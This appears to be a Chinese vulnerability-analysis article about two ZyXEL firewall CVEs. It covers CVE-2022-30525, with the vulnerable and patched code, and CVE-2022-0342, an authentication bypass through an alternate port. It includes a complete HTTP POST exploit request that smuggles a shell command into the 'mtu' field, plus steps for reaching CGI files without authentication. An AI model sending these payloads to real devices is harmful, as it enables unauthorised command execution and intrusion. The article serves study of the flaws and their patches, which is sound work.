长亭百川云 - 文章详情

ZyXEL防火墙历史代表性高危漏洞分析

nil

80

2024-08-05

ZyXEL防火墙是合勤科技(ZyXEL)生产的一系列网络安全设备,旨在为各种网络环境提供安全保护。

1. CVE-2022-30525

1.1 漏洞介绍

允许未经身份验证的远程攻击者以nobody受影响设备上的用户身份执行任意代码。

1.2 漏洞分析

1.2.1 漏洞位置

攻击是通过/ztp/cgi-bin/handler端点发起的。handler是一个处理各种命令的 Python 脚本,handler.py带有以下支持的命令。

supported_cmd = ["ping", "dnsanswer", "ps", "peek", "kill", "traceroute", \  
                 "atraceroute", "iptables", "getorchstat", \  
                 "getInterfaceName_out", "getInterfaceInfo", \  
                 #"getSingleInterfaceInfo", "getAllInterfaceInfo", \  
                 #"getInterfaceNameAll", "getInterfaceNameMapping", \  
                 "nslookup", "iproget", \  
                 "diagnosticinfo", "networkUnitedTest", \  
                 #"setRemoteAssistActive", "getRemoteAssist", \  
                 "setRemoteZyxelSupport", "getRemoteZyxelSupport", \  
                 "getWanPortList", "getWanPortSt", "setWanPortSt", "getZTPurl", "getWanConnSt", \  
                 "getUSBSt","setUSBmount","setUSBactive", \  
                 "getDiagnosticInfoUsb", \  
                 "getDeviceCloudInfo", "getSPSversion", "getpacketcapconf", "getpacketcapst", "packetcapstart", "packetcapend", "packetcapremovefile", \  
                 "getlanguagest","setlanguage"  
                ]

受漏洞影响命令getWanPortSt

elif req["command"] == "getWanPortSt":  
        reply = lib_wan_setting.getWanPortSt()

定位getWanPortSt函数 - lib_wan_setting.py

#关键代码  
if proto == "dhcp":  
            if 'mtu' not in req:  
                req['mtu'] = '1500'  
            if vlan_tagged == '1':  
                cmdLine = '/usr/sbin/sdwan_iface_ipc 11 '  
            else:  
                cmdLine = '/usr/sbin/sdwan_iface_ipc 1 '  
            #extname = findextname(port)  
            cmdLine += extname + ' ' + port.lower() + ' ' + req['mtu']  
            if vlan_tagged == '1':  
                cmdLine += ' ' + vlanid  
            if "option60" in data:  
                cmdLine += ' ' + data['option60']  
   
#修复之前  
        logging.info("cmdLine = %s" % cmdLine)  
        with open("/tmp/local_gui_write_flag", "w") as fout:  
            fout.write("1");  
          
        reponse = os.sytem(cmdline)  
        logging.info(response)  
#修复之后  
        logging.info("cmdLine = %s" % cmdLine)  
        with open("/tmp/local_gui_write_flag", "w") as fout:  
            fout.write("1");  
          
        DEVNULL = open(os.devnull, 'w')  
        response = subprocess.call(shlex.split(cmdLine),stdout=DEVNULL,stderr=DEVNULL)#使用列表传递命令和参数  
        logging.info(response)

1.2.2 修复之后

过滤危险字符代码 - shlex.py

#shlex.split(cmdLine)  
def split(s, comments=False, posix=True):  
    """Split the string *s* using shell-like syntax."""  
    if s is None:  
        raise ValueError("s argument must not be None")  
    lex = shlex(s, posix=posix)  
    lex.whitespace_split = True  
    if not comments:  
        lex.commenters = ''  
    return list(lex)  
   
class shlex:  
    "A lexical analyzer class for simple shell-like syntaxes."  
    def __init__(self, instream=None, infile=None, posix=False,  
                 punctuation_chars=False):  
        if isinstance(instream, str):  
            instream = StringIO(instream)  
        if instream is not None:  
            self.instream = instream  
            self.infile = infile  
        else:  
            self.instream = sys.stdin  
            self.infile = None  
        self.posix = posix  
        if posix:  
            self.eof = None  
        else:  
            self.eof = ''  
        self.commenters = '#'  
        self.wordchars = ('abcdfeghijklmnopqrstuvwxyz'  
                          'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_')  
        if self.posix:  
            self.wordchars += ('ßàáâãäåæçèéêëìíîïðñòóôõöøùúûüýþÿ'  
                               'ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖØÙÚÛÜÝÞ')  
        self.whitespace = ' \t\r\n'  
        self.whitespace_split = False  
        self.quotes = '\'"'  
        self.escape = '\\'  
        self.escapedquotes = '"'  
        self.state = ' '  
        self.pushback = deque()  
        self.lineno = 1  
        self.debug = 0  
        self.token = ''  
        self.filestack = deque()  
        self.source = None  
        if not punctuation_chars:  
            punctuation_chars = ''  
        elif punctuation_chars is True:  
            punctuation_chars = '();<>|&'  
        self._punctuation_chars = punctuation_chars  
        if punctuation_chars:  
            # _pushback_chars is a push back queue used by lookahead logic  
            self._pushback_chars = deque()  
            # these chars added because allowed in file names, args, wildcards  
            self.wordchars += '~-./*?='  
            #remove any punctuation chars from wordchars  
            t = self.wordchars.maketrans(dict.fromkeys(punctuation_chars))  
            self.wordchars = self.wordchars.translate(t)

1.3 漏洞利用

请求数据包:

POST /ztp/cgi-bin/handler HTTP/1.1  
Host: xx.xx.xx.xx  
User-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36  
Connection: close  
Content-Type: application/json  
Accept-Encoding: gzip  
  
{"command":"setWanPortSt","proto":"dhcp","port":"4","vlan_tagged":"1","vlanid":"5","mtu":"; `whoami`;","data":"hi"}

2. CVE-2022-0342

2.1 漏洞介绍

CGI程序中存在身份绕过漏洞,可能允许攻击者绕过Web身份认证并获取设备的管理访问权限。

2.2 漏洞分析

Zyxel设备Web服务重要由中间件Apache HTTP来进行管理,对应配置文件为/usr/local/zyxel-gui/httpd.conf。

modules/mod_auth_zyxel.so - 管理用户认证动态库

#LoadModule  auth_pam_module modules/mod_auth_pam.so  
#LoadModule php4_module modules/libphp4.so  
LoadModule rewrite_module modules/mod_rewrite.so  
LoadModule auth_zyxel_module    modules/mod_auth_zyxel.so  
LoadModule unique_id_module modules/mod_unique_id.so  
LoadModule security2_module modules/mod_security2.so

登录过程Cookie会产生authtok字段:

2.2.1 漏洞位置

根据代码提示 -  GUI相关操作无需认证即可访问。

2.2.2 流程分析

  • Get_server_conf - 读取/tmp/__HTTP_SERVER_CONFIG文件

读取参数变量与check_authok函数结构体比较,Apache为开源代码,我们可通过开发文档获取相应数据包结构体。

https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h

  • struct request_rec
struct request_rec {  
    /** The pool associated with the request */  
    apr_pool_t *pool;  
    /** The connection to the client */  
    conn_rec *connection;  
    /** The virtual host for this request */  
    server_rec *server;  
  
    /** Pointer to the redirected request if this is an external redirect */  
    request_rec *next;  
    /** Pointer to the previous request if this is an internal redirect */  
    request_rec *prev;  
  
    /** Pointer to the main request if this is a sub-request  
     * (see http_request.h) */  
    request_rec *main;  
  
    /* Info about the request itself... we begin with stuff that only  
     * protocol.c should ever touch...  
     */  
    /** First line of request */  
    char *the_request;

request_rec + 4 ->  mips32 -> 结构体第二个成员 -> conn_rec *connection

  • struct conn_rect
struct conn_rec {  
    /** Pool associated with this connection */  
    apr_pool_t *pool;  
    /** Physical vhost this conn came in on */  
    server_rec *base_server;  
    /** used by http_vhost.c */  
    void *vhost_lookup_data;  
  
    /* Information about the connection itself */  
    /** local address */  
    apr_sockaddr_t *local_addr;  
    /** remote address; this is the end-point of the next hop, for the address  
     *  of the request creator, see useragent_addr in request_rec  
     */  
    apr_sockaddr_t *client_addr;  
  
    /** Client's IP address; this is the end-point of the next hop, for the  
     *  IP of the request creator, see useragent_ip in request_rec  
     */  
    char *client_ip;  
    /** Client's DNS name, if known.  NULL if DNS hasn't been checked,  
     *  "" if it has and no address was found.  N.B. Only access this though  
     * get_remote_host() */  
    char *remote_host;  
    /** Only ever set if doing rfc1413 lookups.  N.B. Only access this through  
     *  get_remote_logname() */  
    /* TODO: Remove from request_rec, make local to mod_ident */  
    char *remote_logname;

request_rec + 4 -> conn_rec + 12 -> 结构体第4个元素 -> apr_sockaddr_t *localaddr

  • struct apr_sockaddr
struct apr_sockaddr_t {  
    /** The pool to use... */  
    apr_pool_t *pool;  
     /** The hostname */  
     char *hostname;  
     /** Either a string of the port number or the service name for the port */  
     char *servname;  
     /** The numeric port */  
     apr_port_t port;  
     /** The family */  
     apr_int32_t family;  
     /** How big is the sockaddr we're using? */  
     apr_socklen_t salen;  
     /** How big is the ip address structure we're using? */  
     int ipaddr_len;  
     /** How big should the address buffer be?  16 for v4 or 46 for v6  
      *  used in inet_ntop... */  
     int addr_str_len;  
     /** This points to the IP address structure within the appropriate  
      *  sockaddr structure.  */  
     void *ipaddr_ptr;  
     /** If multiple addresses were found by apr_sockaddr_info_get(), this   
      *  points to a representation of the next address. */  
     apr_sockaddr_t *next;  
     /** Union of either IPv4 or IPv6 sockaddr. *

Request_rec+4 -> conn_rec + 12 -> apr_sockaddr_t + 12 -> 结构体第4个元素 -> apr_port_t port

  • /tmp/__HTTP_SERVER_CONFIG - 有关写操作 - zyshd

文件内容格式 - 1 443 80 4433 - 修改HTTP报文中HOST字段,直接访问CGI文件,无需认证。

关键配置文件 - /usr/local/zyxel_gui/httpd.conf。

ScriptAlias /cgi-bin/ "/usr/local/apache/cgi-bin/"  
  
AddHandler cgi-script .cgi .py

cgi-bin目录配置在全局区域内,及所有cgi都可以通过其他端口访问对应资源。

2.3 漏洞利用

默认访问80端口,需要用户认证:

访问8008端口,绕过认证,获取设备配置文件:

引用

(1)https://security.humanativaspa.it/zyxel-authentication-bypass-patch-analysis-cve-2022-0342/

(2)https://apr.apache.org/docs/apr/1.5/apr\_\_network\_\_io\_8h\_source.html

(3)https://svn.apache.org/repos/asf/httpd/httpd/trunk/include/httpd.h

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2